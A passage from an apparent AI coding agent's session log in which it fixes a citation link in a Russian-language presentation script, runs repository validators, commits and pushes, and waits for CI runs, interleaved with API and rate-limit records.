\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432\\n  [README](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50):\\n  evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nassert a in t; open(p,'w').write(t.replace(a,b))\\nEOF\\nfor v in \\\"./tools/validate-frontmatter.sh .\\\" ./tools/validate-rrp-links.sh ./tools/validate-repository-structure.sh; do $v >/dev/null 2>&1 && echo \\\"PASS $v\\\" || echo \\\"FAIL $v\\\"; done\\ngit add -A && git commit -q -m \\\"docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n\\nLink the 23-file split to commit d8a4759 and the missing-evals admission\\nto the mango_ba_prompts README instead of its CHANGELOG, which records\\nneither fact.\\\" && git push -q origin issue-646-497e337ac092 && git log --oneline -3\",\n[2026-09-29T08:04:12.693Z] [INFO]       \"description\": \"Fix link formatting, validate, commit, push\"\n[2026-09-29T08:04:12.693Z] [INFO]     }\n[2026-09-29T08:04:12.693Z] [INFO]   }\n[2026-09-29T08:04:12.693Z] [INFO] }\n[2026-09-29T08:04:14.679Z] [INFO] {\n[2026-09-29T08:04:14.679Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"tasks\": [],\n[2026-09-29T08:04:14.679Z] [INFO]   \"uuid\": \"a5340316-0a39-4805-a117-d1100e447ac5\",\n[2026-09-29T08:04:14.679Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.679Z] [INFO] }\n[2026-09-29T08:04:14.686Z] [INFO] {\n[2026-09-29T08:04:14.686Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"patch\": {\n[2026-09-29T08:04:14.686Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T08:04:14.686Z] [INFO]     \"end_time\": 1790669054673\n[2026-09-29T08:04:14.686Z] [INFO]   },\n[2026-09-29T08:04:14.686Z] [INFO]   \"uuid\": \"6acc36fd-1a11-4c99-b663-da55cf8c055d\",\n[2026-09-29T08:04:14.686Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.686Z] [INFO] }\n[2026-09-29T08:04:14.689Z] [INFO] {\n[2026-09-29T08:04:14.689Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"task_id\": \"bm13v5xu1\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"tool_use_id\": \"toolu_01RZvV1fFAQtxQYzHHyPnspK\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"summary\": \"Background command \\\"Wait for CI runs to finish\\\" completed (exit code 0)\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"uuid\": \"a1ed4962-4164-434c-bce9-32f0789632b6\",\n[2026-09-29T08:04:14.689Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:14.689Z] [INFO] }\n[2026-09-29T08:04:15.741Z] [INFO] {\n[2026-09-29T08:04:15.741Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"task_id\": \"bn5iaow84\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"description\": \"Fix link formatting, validate, commit, push\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:04:15.741Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"uuid\": \"6bdebf59-923e-4568-89d4-8973b2436c98\",\n[2026-09-29T08:04:15.741Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:15.741Z] [INFO] }\n[2026-09-29T08:04:42.747Z] [INFO] {\n[2026-09-29T08:04:42.747Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4-heartbeat-0\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"elapsed_time_seconds\": 30,\n[2026-09-29T08:04:42.747Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:04:42.747Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:42.747Z] [INFO]   \"uuid\": \"9e22f6b7-159d-4509-9b9b-eb00a63befad\"\n[2026-09-29T08:04:42.747Z] [INFO] }\n[2026-09-29T08:05:12.733Z] [INFO] {\n[2026-09-29T08:05:12.733Z] [INFO]   \"type\": \"tool_progress\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4-heartbeat-1\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"tool_name\": \"Bash\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"parent_tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"elapsed_time_seconds\": 60,\n[2026-09-29T08:05:12.733Z] [INFO]   \"heartbeat\": true,\n[2026-09-29T08:05:12.733Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:12.733Z] [INFO]   \"uuid\": \"c7a76869-b612-4d5b-85ad-b15c9051006a\"\n[2026-09-29T08:05:12.733Z] [INFO] }\n[2026-09-29T08:05:25.631Z] [INFO] {\n[2026-09-29T08:05:25.631Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"task_id\": \"bn5iaow84\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"summary\": \"Fix link formatting, validate, commit, push\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"uuid\": \"3b956028-8e27-448c-9554-4aee9ab7bf05\",\n[2026-09-29T08:05:25.631Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:25.631Z] [INFO] }\n[2026-09-29T08:05:25.672Z] [INFO] {\n[2026-09-29T08:05:25.672Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"subtype\": \"vcs_state_changed\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"kind\": \"push\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"cwd\": \"/tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"uuid\": \"10c7b028-c878-46ed-80d3-1915b915284e\",\n[2026-09-29T08:05:25.672Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:25.672Z] [INFO] }\n[2026-09-29T08:05:25.705Z] [INFO] {\n[2026-09-29T08:05:25.705Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"message\": {\n[2026-09-29T08:05:25.705Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"content\": [\n[2026-09-29T08:05:25.705Z] [INFO]       {\n[2026-09-29T08:05:25.705Z] [INFO]         \"tool_use_id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"content\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-rrp-links.sh\\nPASS ./tools/validate-repository-structure.sh\\na85ff3d docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n9fd0ba0 docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n611336a Initial commit with task details\",\n[2026-09-29T08:05:25.705Z] [INFO]         \"is_error\": false\n[2026-09-29T08:05:25.705Z] [INFO]       }\n[2026-09-29T08:05:25.705Z] [INFO]     ]\n[2026-09-29T08:05:25.705Z] [INFO]   },\n[2026-09-29T08:05:25.705Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:25.705Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"uuid\": \"21e207cc-0684-49db-b63c-39f18416d86b\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:25.683Z\",\n[2026-09-29T08:05:25.705Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:05:25.705Z] [INFO]     \"stdout\": \"PASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-rrp-links.sh\\nPASS ./tools/validate-repository-structure.sh\\na85ff3d docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n9fd0ba0 docs(ba-ai-process): add meta-model presentation slides and speaker script (#646)\\n611336a Initial commit with task details\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:05:25.705Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:05:25.705Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:05:25.705Z] [INFO]       \"files\": [\n[2026-09-29T08:05:25.705Z] [INFO]         {\n[2026-09-29T08:05:25.705Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T08:05:25.705Z] [INFO]           \"hunks\": [\n[2026-09-29T08:05:25.705Z] [INFO]             {\n[2026-09-29T08:05:25.705Z] [INFO]               \"oldStart\": 145,\n[2026-09-29T08:05:25.705Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T08:05:25.705Z] [INFO]               \"newStart\": 145,\n[2026-09-29T08:05:25.705Z] [INFO]               \"newLines\": 9,\n[2026-09-29T08:05:25.705Z] [INFO]               \"lines\": [\n[2026-09-29T08:05:25.705Z] [INFO]                 \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \" - \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\",\n[2026-09-29T08:05:25.705Z] [INFO]                 \"-  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 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\"req_011CfXPHHhqamrotckTQ46dK\",\n[2026-09-29T08:05:27.562Z] [STDOUT]   \"traceresponse\": \"00-2ecf0cfa600cb41eab5f5631495939b4-19db9b51ffea60f8-01\",\n[2026-09-29T08:05:27.568Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:27.572Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:27.578Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:27.588Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:27.602Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:27.605Z] [STDOUT]   \"cf-ray\": \"a4297b941e185d90-FRA\",\n[2026-09-29T08:05:27.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:27.618Z] [STDOUT] [log_709fe3] response parsed {\n[2026-09-29T08:05:27.630Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:27.633Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:27.636Z] [STDOUT]   body: X {\n[2026-09-29T08:05:27.638Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:27.640Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:27.648Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:27.653Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:27.665Z] [STDOUT]     },\n[2026-09-29T08:05:27.667Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:27.669Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:27.671Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:27.673Z] [STDOUT]   },\n[2026-09-29T08:05:27.677Z] [STDOUT]   durationMs: 1369,\n[2026-09-29T08:05:27.684Z] [STDOUT] }\n[2026-09-29T08:05:27.697Z] [INFO] {\n[2026-09-29T08:05:27.697Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"message\": {\n[2026-09-29T08:05:27.697Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"id\": \"msg_011CfXPHJJ4RKhQAeXbTsrdB\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:27.697Z] [INFO]     \"content\": [\n[2026-09-29T08:05:27.697Z] [INFO]       {\n[2026-09-29T08:05:27.697Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:05:27.697Z] [INFO]         \"text\": \"Both CI runs passed on 9fd0ba0. Waiting for the runs on the new commit a85ff3d:\"\n[2026-09-29T08:05:27.697Z] [INFO]       }\n[2026-09-29T08:05:27.697Z] [INFO]     ],\n[2026-09-29T08:05:27.697Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:27.697Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_creation_input_tokens\": 1276,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_read_input_tokens\": 98489,\n[2026-09-29T08:05:27.697Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:27.697Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:27.697Z] [INFO]         \"ephemeral_1h_input_tokens\": 1276\n[2026-09-29T08:05:27.697Z] [INFO]       },\n[2026-09-29T08:05:27.697Z] [INFO]       \"output_tokens\": 60,\n[2026-09-29T08:05:27.697Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:27.697Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:27.697Z] [INFO]     },\n[2026-09-29T08:05:27.697Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:27.697Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:27.697Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:27.697Z] [INFO]   },\n[2026-09-29T08:05:27.697Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:27.697Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"uuid\": \"b6e06abd-0621-445f-bd7d-675ebc814c4c\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:27.136Z\",\n[2026-09-29T08:05:27.697Z] [INFO]   \"request_id\": \"req_011CfXPHHhqamrotckTQ46dK\"\n[2026-09-29T08:05:27.697Z] [INFO] }\n[2026-09-29T08:05:31.709Z] [INFO] {\n[2026-09-29T08:05:31.709Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"message\": {\n[2026-09-29T08:05:31.709Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"id\": \"msg_011CfXPHJJ4RKhQAeXbTsrdB\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:31.709Z] [INFO]     \"content\": [\n[2026-09-29T08:05:31.709Z] [INFO]       {\n[2026-09-29T08:05:31.709Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:31.709Z] [INFO]         \"input\": {\n[2026-09-29T08:05:31.709Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output; for i in $(seq 1 20); do n=$(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '[.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))]|length'); [ \\\"$n\\\" -ge 2 ] && break; sleep 6; done; for id in $(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))|.databaseId'); do gh run watch $id --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/dev/null 2>&1; echo \\\"$id exit $?\\\"; done\",\n[2026-09-29T08:05:31.709Z] [INFO]           \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.709Z] [INFO]           \"run_in_background\": true\n[2026-09-29T08:05:31.709Z] [INFO]         },\n[2026-09-29T08:05:31.709Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:31.709Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:31.709Z] [INFO]         }\n[2026-09-29T08:05:31.709Z] [INFO]       }\n[2026-09-29T08:05:31.709Z] [INFO]     ],\n[2026-09-29T08:05:31.709Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:31.709Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_creation_input_tokens\": 1276,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_read_input_tokens\": 98489,\n[2026-09-29T08:05:31.709Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:31.709Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:31.709Z] [INFO]         \"ephemeral_1h_input_tokens\": 1276\n[2026-09-29T08:05:31.709Z] [INFO]       },\n[2026-09-29T08:05:31.709Z] [INFO]       \"output_tokens\": 60,\n[2026-09-29T08:05:31.709Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:31.709Z] [INFO]     },\n[2026-09-29T08:05:31.709Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:31.709Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:31.709Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:31.709Z] [INFO]   },\n[2026-09-29T08:05:31.709Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:31.709Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"uuid\": \"e01079df-c931-4f86-b6b9-7ba7c7289a9e\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:31.510Z\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"request_id\": \"req_011CfXPHHhqamrotckTQ46dK\",\n[2026-09-29T08:05:31.709Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:05:31.709Z] [INFO]     \"toolu_01RkAqP7exMEH89YAyFp5Qjn\": {\n[2026-09-29T08:05:31.709Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bm13v5xu1.output; for i in $(seq 1 20); do n=$(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '[.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))]|length'); [ \\\"$n\\\" -ge 2 ] && break; sleep 6; done; for id in $(gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --json headSha,databaseId --jq '.[]|select(.headSha|startswith(\\\"a85ff3d\\\"))|.databaseId'); do gh run watch $id --repo G-Ivan-A/hybrid-Intelligence-lab --exit-status >/dev/null 2>&1; echo \\\"$id exit $?\\\"; done\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.709Z] [INFO]       \"run_in_background\": true\n[2026-09-29T08:05:31.709Z] [INFO]     }\n[2026-09-29T08:05:31.709Z] [INFO]   }\n[2026-09-29T08:05:31.709Z] [INFO] }\n[2026-09-29T08:05:31.782Z] [INFO] {\n[2026-09-29T08:05:31.782Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:05:31.782Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:05:31.782Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:05:31.782Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:05:31.782Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:05:31.782Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T08:05:31.782Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:05:31.782Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:05:31.782Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:05:31.782Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:05:31.782Z] [INFO]         \"utilization\": 0.48,\n[2026-09-29T08:05:31.782Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:05:31.782Z] [INFO]       },\n[2026-09-29T08:05:31.782Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:05:31.782Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T08:05:31.782Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:05:31.782Z] [INFO]       }\n[2026-09-29T08:05:31.782Z] [INFO]     }\n[2026-09-29T08:05:31.782Z] [INFO]   },\n[2026-09-29T08:05:31.782Z] [INFO]   \"uuid\": \"1d61cf09-6847-4c9a-b701-dad2fb2b109c\",\n[2026-09-29T08:05:31.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.782Z] [INFO] }\n[2026-09-29T08:05:31.820Z] [INFO] {\n[2026-09-29T08:05:31.820Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"tasks\": [\n[2026-09-29T08:05:31.820Z] [INFO]     {\n[2026-09-29T08:05:31.820Z] [INFO]       \"task_id\": \"bf11qfocy\",\n[2026-09-29T08:05:31.820Z] [INFO]       \"task_type\": \"local_bash\",\n[2026-09-29T08:05:31.820Z] [INFO]       \"description\": \"Wait for CI on latest commit\"\n[2026-09-29T08:05:31.820Z] [INFO]     }\n[2026-09-29T08:05:31.820Z] [INFO]   ],\n[2026-09-29T08:05:31.820Z] [INFO]   \"uuid\": \"0bf4037f-c531-48ae-b557-45e4a35c10c2\",\n[2026-09-29T08:05:31.820Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.820Z] [INFO] }\n[2026-09-29T08:05:31.827Z] [INFO] {\n[2026-09-29T08:05:31.827Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"task_id\": \"bf11qfocy\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"tool_use_id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"description\": \"Wait for CI on latest commit\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T08:05:31.827Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"uuid\": \"9d9fa321-8c3a-447c-95b7-bfef81c95660\",\n[2026-09-29T08:05:31.827Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:31.827Z] [INFO] }\n[2026-09-29T08:05:31.877Z] [INFO] {\n[2026-09-29T08:05:31.877Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"message\": {\n[2026-09-29T08:05:31.877Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"content\": [\n[2026-09-29T08:05:31.877Z] [INFO]       {\n[2026-09-29T08:05:31.877Z] [INFO]         \"tool_use_id\": \"toolu_01RkAqP7exMEH89YAyFp5Qjn\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"content\": \"Command running in background with ID: bf11qfocy. Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T08:05:31.877Z] [INFO]         \"is_error\": false\n[2026-09-29T08:05:31.877Z] [INFO]       }\n[2026-09-29T08:05:31.877Z] [INFO]     ]\n[2026-09-29T08:05:31.877Z] [INFO]   },\n[2026-09-29T08:05:31.877Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:31.877Z] [INFO]   \"session_id\": 